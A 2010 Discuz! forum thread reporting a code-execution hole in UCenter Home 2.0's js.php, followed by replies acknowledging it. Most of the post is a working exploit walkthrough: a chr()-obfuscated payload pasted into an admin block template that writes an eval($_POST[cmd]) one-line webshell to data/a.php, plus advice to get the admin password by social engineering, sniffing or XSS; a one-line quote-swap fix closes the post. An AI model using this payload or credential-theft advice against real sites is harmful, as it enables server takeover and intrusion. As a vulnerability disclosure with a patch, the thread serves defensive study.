Discuz!官方免费开源建站系统

 找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索

[解决中] Uchome <=2.0 后台GetWebShell漏洞

[复制链接]
kiss9999 发表于 2010-4-20 00:54:30 | 显示全部楼层 |阅读模式
漏洞介绍:
uchome<=2.0的程序中js.php文件存在代码执行漏洞,原因是正则匹配时引号使用不当,导致可以任意提交并执行PHP代码。
Php中单引号与双引号是有区别的:
" "双引号里面的字段会经过编译器解释,然后再当作HTML代码输出。
' '单引号里面的不进行解释,直接输出。
这里正则匹配后的2在双引号里,导致了代码可以执行。
Js.php 问题代码如下:
include template("data/blocktpl/$id");$obcontent = ob_get_contents();
obclean();$s = array("/(r|n)/", "/<divs+class="pages">.+?</div>/is", "/s+(href|src)="(.+?)"/ie");
$r = array("n", '', 'js_mkurl("1", "2")');//代码执行$content = '';
if($obcontent) {
$obcontent = preg_replace($s, $r, $obcontent);
$lines = explode("n", $obcontent);
foreach ($lines as $line) {
$line = addcslashes(trim($line), '/'');
$content .= "document.writeln('$line');n";
}
} else {
$content .= "document.writeln('NO DATA')";
}

测试环境:
系统环境:Windows 2003 + IIS + PHP 5.2.9-2 + Mysql 5.0.67
程序环境:Ucenter Home 2.0(官方最新) + Ucenter 1.5(官方最新)
测试方法:
首先我在本地安装了一个全新的uchome.。这个漏洞的前提是首先拿到后台权限。你可以通过社工、旁注、嗅探、Xss 等手段拿到管理员密码并进入后台。
接着打开admincp.php?ac=block&op=add,选择第一个添加一个模块。填上模板名称、其他默认即可。然后提交。如下图:

接着在数据显示Html代码处填入如下代码然后提交
<a href="{${eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(100).chr(97).chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))}}">a</a>


加密内容为fputs(fopen('data/a.php','w'),'<?php eval($_POST[cmd])?>');
保存后检查一下ID,如果ID是1,则访问一下js.php?id=1
则在data目录下生成a.php一句话木马,密码是cmd
我这里ID是2  所以我访问 js.php?id=2


访问后data 目录下多出了一个a.php

这就是我们的一句话。连接试试

结果显示.漏洞确实存在并能执行任意PHP代码。。。已经成功得到一个webshelll
漏洞修补:目前官方暂无补丁 临时修补方法如下:
$r = array("n", '', 'js_mkurl("1", "2")');
替换为
$r = array("n", '', "js_mkurl('1', '2')");

评分

1

查看全部评分

玻璃屋女孩 发表于 2010-4-20 10:45:17 | 显示全部楼层
感谢您的反馈,我们测试一下
回复

使用道具 举报

玻璃屋女孩 发表于 2010-4-20 11:06:52 | 显示全部楼层
回复

使用道具 举报

耶小稣 发表于 2010-4-20 22:36:37 | 显示全部楼层
好强大!!!!
回复

使用道具 举报

 楼主| kiss9999 发表于 2010-4-21 22:22:18 | 显示全部楼层
为什么管理员不给我偶加分数
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

手机版|小黑屋|Discuz! 官方站 ( 皖ICP备16010102号 )star

GMT+8, 2024-11-26 10:39 , Processed in 0.024259 second(s), 6 queries , Gzip On, Redis On.

Powered by Discuz! X3.4

Copyright © 2001-2023, Tencent Cloud.

快速回复 返回顶部 返回列表